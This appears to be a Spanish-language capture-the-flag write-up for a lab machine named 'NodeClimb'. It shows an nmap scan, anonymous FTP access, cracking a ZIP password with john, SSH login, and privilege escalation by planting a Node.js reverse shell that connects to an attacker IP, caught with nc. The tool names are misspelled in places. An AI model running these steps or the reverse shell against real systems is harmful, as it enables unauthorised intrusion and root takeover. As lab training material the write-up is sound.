NodeClimb
Conectividad con la máquina objetivo
Vemos que al desplegar la máquina nos da una IP, así que hacemos un ping y comprobamos la conectividad.
Hacemos ping y vemos que tenemos conectividad
Descubrimiento de Puertos y Servicios
Lanzo un escaneo con nmap
y compruebo lo siguiente:
nmap -p- -sS -sC -sV -O 172.17.0.2 -oN puertos.txt
Puertos y Servicios
21
FTP
Vsftpd 3.0.3
22
SSH
OpenSSH 9.2p1
Fase de Explotación
Vemos que podemos entrar como anonymous en FTP y que hay un archivo ZIP. Nos los traemos a nuestra máquina con el comando get.
Lo abrimos y a simple vista veo que hay un .txt con la clave para entrar por SSH.
Si lo intentamos extraer nos pide una clave, pero no la sabemos.
Podemos convertir el fichero a un hash para luego con john hacer fuerza bruta para sacar la clave del .zip.
zip2jhon secretitopicaron.zip > secretitohash
Ahora con jhon
intentamos sacar la clave.
john --format=PKZIP -w /usr/share/wordlist/rockyou.txt secretitohash
Y vemos que la clave es password1
Lo intentamos extraer y vemos que si nos deja, abrimos el password.txt y sale esto.
Por lo que entramos por SSH y vemos que podemos ejecutar como cualquier usuario el binario node pero solo el script que hay en /home/mario.
Si abrimos el script, vemos que está vacido. Podemos meter una reverse shell y ejecutarla como root para conseguir privilegios.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(443, "192.168.1.246", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
En la máquina atacante, en nuestro kali, ejecutamos primero:
nc -nlvp 443
Y luego ejecutamos el script
Si se queda colgado y en nuestra máquina conseguimos la bash lo hemos hecho bien.
Ahora ejecutamos whoami
y vemos que somos root.
Ya somos root!!
Última actualización